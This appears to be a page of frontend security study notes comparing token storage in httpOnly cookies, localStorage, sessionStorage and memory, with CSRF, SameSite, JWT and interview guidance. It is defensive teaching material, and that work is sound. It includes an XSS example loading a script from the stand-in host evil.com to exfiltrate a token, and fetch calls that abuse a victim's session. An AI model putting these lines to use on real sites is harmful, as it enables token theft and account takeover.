Frontend / Security / 06_token_storage.md

Token Storage — JWT in localStorage vs httpOnly Cookie

Updated 5 interview angles 8 min read source
On this page15
  1. The three places to store auth tokens.
  2. Why is localStorage XSS-vulnerable but cookies aren’t?
  3. Why are httpOnly cookies CSRF-vulnerable but Bearer tokens aren’t?
  4. The “best of both worlds” pattern.
  5. When do bearer tokens make sense?
  6. If you must use localStorage — what’s the mitigation?
  7. Where exactly does the in-memory pattern work?
  8. Sessions vs JWTs — does it matter for storage?
  9. What about sessionStorage?
  10. SameSite + auth — picking strict vs lax.
  11. Auth bypass via XSS — the worst case.
  12. Gotchas
  13. Related
  14. Further reading
  15. Interview angle

Token Storage — JWT in localStorage vs httpOnly Cookie

The single most-asked frontend security question. Default to httpOnly cookies for session tokens — protects against XSS reading them, the browser handles attachment. Bearer tokens in localStorage are vulnerable to XSS (any script reads them), but CSRF-safe (not auto-attached). The “best of both worlds” is httpOnly cookies + CSRF protection. Don’t put refresh tokens or sensitive data in localStorage under any circumstances.

The three places to store auth tokens.

Exposure — the security question:

Storage JS-readable Auto-sent
httpOnly cookie no yes, same domain
localStorage yes no, you attach it
sessionStorage yes no
In-memory yes, briefly no

Lifetime — the UX question:

Storage Cross-tab Survives
httpOnly cookie yes until expiry
localStorage yes until cleared
sessionStorage per-tab until tab close
In-memory no nothing, cleared on refresh

The senior trade-off:

  • httpOnly cookie: XSS-safe (token can’t be read), but CSRF-vulnerable (auto-attached).
  • localStorage / Bearer: CSRF-safe (you attach manually), but XSS-vulnerable.

You can’t have both wins from one storage. Compose.

Why is localStorage XSS-vulnerable but cookies aren’t?

localStorage is accessible to any JS on the origin:

js
// works from any script
const token = localStorage.getItem("auth_token");

An XSS that runs <script src="//evil.com/exfil.js"> includes a script that reads localStorage and exfiltrates.

httpOnly cookies are not accessible to JS:

js
document.cookie;   // doesn't include httpOnly cookies

The browser sends them with requests but never reveals to JavaScript. XSS can use them via fetch(..., { credentials: "include" }) but can’t exfiltrate the token itself.

The distinction matters because:

  1. Exfiltration = attacker keeps the token, uses it forever from their server.
  2. Use in-place = attacker can act as the user while the XSS runs.

httpOnly cookies make the first impossible. The second is still bad but bounded.

Why are httpOnly cookies CSRF-vulnerable but Bearer tokens aren’t?

Cookies are auto-attached by the browser on any request to the cookie’s domain. A <form action="https://api.yoursite.com/transfer"> POST from evil.com sends your cookies.

Bearer tokens require JS to set the header: fetch(..., { headers: { Authorization: "Bearer ..." } }). Cross-origin JS on evil.com doesn’t have your token (it’s in your origin’s storage, blocked by SOP).

So: cookies need CSRF mitigation (SameSite, tokens); bearer tokens don’t.

The “best of both worlds” pattern.

httpOnly cookies + CSRF protection:

http
# Server, on login
Set-Cookie: session=<sessionId>; HttpOnly; Secure; SameSite=Lax; Path=/

# Server, on requests
# - Checks session cookie
# - For state-changing requests, requires CSRF token (double-submit or synchronizer)

Properties:

  • XSS can’t read the session → can’t exfiltrate.
  • SameSite=Lax blocks most CSRF.
  • Double-submit token blocks the rest (SameSite=None contexts, OAuth callbacks).

This is the default for most apps with conventional session-based auth.

When do bearer tokens make sense?

  • Cross-origin APIs — your SPA on app.com talks to API on api.com. Cookies cross-origin are awkward (SameSite=None + CORS preflight + credentials true). Bearer tokens cross-origin are clean.
  • Mobile apps — no browser, no cookies. Native code holds the token.
  • Server-to-server — cookies are browser-centric; service-to-service uses tokens.
  • OAuth Bearer access tokens — the protocol mandates Bearer.

For a SPA + same-origin (or first-party + subdomain) backend: cookies are the right default.

If you must use localStorage — what’s the mitigation?

Acknowledge the trade-off, then minimize:

  • Use a short-lived access token + refresh token rotation.
  • Don’t store refresh tokens in localStorage. Refresh tokens should be httpOnly cookies that the SPA’s silent-refresh endpoint uses.
  • Hardened CSP to make XSS harder.
  • Trusted Types to block dangerous DOM sinks.
  • Subresource Integrity on every third-party script.

Even with all this, XSS still gets the access token. You’re betting that:

  • The XSS window is short (access token expires in minutes).
  • The attacker can’t easily get the refresh token (it’s httpOnly).

Some apps choose this trade-off because cookies don’t fit. Document the risk; ratchet CSP.

Where exactly does the in-memory pattern work?

A short-lived access token in a JS variable (not localStorage):

ts
let accessToken: string | null = null;

async function login() {
  const { token } = await fetch("/api/login", ...).then(r => r.json());
  accessToken = token;   // memory only
}

function apiCall(url: string) {
  return fetch(url, { headers: { Authorization: `Bearer ${accessToken}` } });
}

Pros vs localStorage:

  • Page refresh clears the token → forces re-auth or silent refresh.
  • XSS window is shorter — JS can read the variable, but only while the page is loaded.

Cons:

  • Page refresh loses the token unless you have a refresh-from-httpOnly-cookie flow.
  • Tab close loses it.

This is the “least bad” Bearer pattern when cookies aren’t an option. Pair with a refresh-token-in-httpOnly-cookie endpoint that the page hits on load to silently rehydrate the access token.

Sessions vs JWTs — does it matter for storage?

Slightly:

  • Session cookies (opaque ID + server-side state) — the cookie value is meaningless without the server’s session table. Stolen → attacker can use the session until you revoke. Revocation is server-side, instant.
  • JWTs (signed token containing claims) — the token is the credential. Stolen → attacker has it until expiry. Revocation is hard — typically a server-side denylist or short-lived + refresh.

For storage, both can be httpOnly cookies. The revocation difference is why sessions are often safer for sensitive apps; JWTs are convenient for stateless APIs.

If using JWTs:

  • Short expiry (5-15 minutes).
  • Refresh tokens for long-lived sessions (httpOnly cookie).
  • A denylist (Redis) for revocation on logout / password change.

See JWT and the JOSE Family.

What about sessionStorage?

Same XSS vulnerability as localStorage; just shorter lifetime (per-tab, cleared on close). Doesn’t really mitigate.

Sometimes used for short-lived auth state in OAuth flows (“PKCE verifier”). Acceptable for a few seconds of life; not for tokens.

SameSite + auth — picking strict vs lax.

  • SameSite=Strict — never sent cross-site, including top-level navigation. Bug: user clicks an emailed link to your logged-in page, cookie not sent, page loads as logged out.
  • SameSite=Lax (Chromium’s default since 2020; set it explicitly for Firefox and Safari) — sent on top-level GET navigation (so emailed links work) but not cross-site POSTs/fetches/<img>. Sweet spot for most apps.

Use Strict only for high-sensitivity operations (admin actions, payment confirmations) where you want to require the user to re-enter the site from your domain.

Auth bypass via XSS — the worst case.

Even with httpOnly cookies, XSS can:

  • fetch("/api/me", { credentials: "include" }) — the browser sends the cookies. The XSS reads the response (it’s same-origin). It learns the user’s data, profile, ID.
  • fetch("/api/transfer", { method: "POST", credentials: "include", body: ... }) — performs the transfer with the user’s session.

The XSS doesn’t have the token, but it doesn’t need to — it can use the session for as long as the page is open. The token-storage choice helps with exfiltration, not in-place abuse.

The full defense: eliminate XSS (escape on output, CSP, Trusted Types) — token storage is the last line.

Gotchas

  • httpOnly with localStorage “fallback” — defeats the point. If your code reads the token from cookies via JS (somehow), it’s not really httpOnly.
  • Refresh tokens in JS-accessible storage are catastrophic — they get fresh access tokens forever. Always httpOnly.
  • Cookie max-age — long-lived cookies are session theft targets. Short-lived + refresh-on-use is safer.
  • Third-party cookies — Safari (ITP) and Firefox (Total Cookie Protection) block or partition them, while Chrome kept them after Google dropped its phase-out (2024-2025) and retired most Privacy Sandbox APIs (2025-10). Auth in iframes and prompt=none silent re-auth therefore fail in two of three engines; use first-party designs, the Storage Access API, or a BFF.
  • OAuth Implicit flow stored tokens in URL fragments → localStorage. Deprecated; use Authorization Code + PKCE.
  • Secure flag required on cookies in modern Chrome (and SameSite=None requires Secure). Local HTTP dev: use localhost (exempt) or local HTTPS.

Further reading

Interview angle 5

  • “Where should a session token live?” - an HttpOnly, Secure, SameSite=Lax cookie by default, with CSRF protection for the cross-site cases. Script cannot read it, so an XSS can abuse the session but cannot walk away with the credential.
  • “What is wrong with localStorage?” - any script on the page can read it, so a single XSS exfiltrates the token and the attacker keeps it after the user closes the tab. It is CSRF-safe, which is the trade people are implicitly making, and usually the wrong side of it.
  • “What is the best setup if you must use bearer tokens?” - a short-lived access token in a JavaScript variable and the refresh token in an HttpOnly cookie, re-obtaining the access token on page load. XSS can still use the in-memory token from the compromised tab, but it cannot steal a long-lived credential.
    • Follow-up: “Where should a refresh token never go?” - localStorage. It is the long-lived credential, so stealing it is account takeover that survives password changes until it expires.
  • “Does token storage solve XSS?” - no, and that is worth saying. An attacker with script execution can act as the user in place, whatever you did with the token. Storage choice limits exfiltration; eliminating the XSS is the actual fix and storage is the last line, not the first.
  • “JWT or server session?” - a server session is simpler to revoke, because revocation is a delete. A JWT needs short expiry with a refresh token, or a denylist that reintroduces the lookup you avoided. Choose from how fast a revocation must take effect.